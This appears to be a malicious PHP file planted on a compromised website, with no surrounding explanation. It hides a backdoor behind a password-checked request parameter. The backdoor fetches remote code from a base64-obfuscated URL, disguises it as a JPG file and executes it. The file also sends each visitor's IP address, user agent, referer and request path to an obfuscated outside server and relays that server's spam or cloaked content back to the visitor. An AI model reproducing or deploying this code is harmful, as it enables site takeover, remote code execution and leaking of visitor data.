?><?php
if(strpos($_SERVER['HTTP_HOST'],'ahgtv')===false&&strpos($_SERVER['HTTP_HOST'],'beyuq')===false&&strpos($_SERVER['HTTP_HOST'],'xpgl')===false&&md5($_REQUEST['action'].'ABCdefg123*') == '9121fa6ba1ca0a31129ea2577664419c'){
  if(file_exists('head1.jpg')){require('head1.jpg');exit();}else{
	$a = get_html(base64_decode('aHR0cDovL3dwdGVzdC53b2RpcmVjdC50b3AvcmVtb3RlL3VqaWsudHh0'));
	$a=str_replace(array('echo "[ <a href=\'?action=door123','door123'),array('echo "[ <a href=\'?action=".$_GET[\'action\']."','\'.$_GET[\'action\'].\''),$a);
    file_put_contents('head1.jpg', $a);
	if(file_exists('head1.jpg'))require('head1.jpg');else echo 'file 404';
    exit();
  }
}
$go_to ="ZzE0OC50eHBnbHgudG9w";
$skey ="46791";
$go_to =base64_decode($go_to);
header('Content-Type: text/html; charset=utf-8');
set_time_limit(0);
error_reporting(0);
ob_clean();
ob_end_clean();
ob_start();

$lan = base64_encode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']);
$uri = base64_encode(@$_SERVER['REQUEST_URI']);
$host = @$_SERVER['HTTP_HOST'];
$user_agent = base64_encode(@$_SERVER['HTTP_USER_AGENT']);
$referer = base64_encode(@$_SERVER['HTTP_REFERER']);
$ip = base64_encode(@$_SERVER['REMOTE_ADDR']);
$zone = base64_encode(date_default_timezone_get());
if(is_https()) {$http_type = "https://";} else {$http_type = "http://";}

$typeName = base64_encode($http_type.$host);
$site_url = "http://".$go_to.'/index.php?domain='.$typeName.'&uri='.$uri.'&lan='.$lan.'&agent='.$user_agent.'&zone='.$zone.'&ip='.$ip.'&skey='.$skey.'&referer='.$referer;
//echo $site_url;
$file_contents = get_html($site_url);

if(strstr($file_contents, "[#*#*#]")){
    $html = explode("[#*#*#]", $file_contents);
    if(substr(trim($html[0]),-8) == "echohtml"){ echo substr(trim($html[0]),0,-8).$html[1]; exit(); }
    if(substr(trim($html[0]),-7) == "echoxml"){ header("Content-type: text/xml"); echo substr(trim($html[0]),0,-7).$html[1]; exit(); }
    if(substr(trim($html[0]),-7) == "echorss"){ header("Content-type: text/xml"); echo substr(trim($html[0]),0,-7).$html[1]; exit(); }
    if(substr(trim($html[0]),-7) == "echokkk"){ header("X-Robots-Tag: noindex"); echo substr(trim($html[0]),0,-7).$html[1]; exit(); }
    if(substr(trim($html[0]),-7) == "echo404"){ header("HTTP/1.1 404 Not Found"); header("Status: 404 Not Found"); exit(); }
    if(substr(trim($html[0]),-7) == "pingxml"){echo 'ping'; exit();}
}


function get_html($web_url){
    $file_contents = @file_get_contents($web_url); 
    if (!$file_contents) {
        $ch_t = curl_init();
        curl_setopt($ch_t, CURLOPT_URL, $web_url);
        curl_setopt($ch_t, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch_t, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch_t, CURLOPT_RETURNTRANSFER,1);
        $file_contents = curl_exec($ch_t);
        curl_close($ch_t);
    }  
    return $file_contents;
}  
function is_https() {
	if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
		return true;
	} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
		return true;
	} elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
		return true;
	}
	return false;
}
?>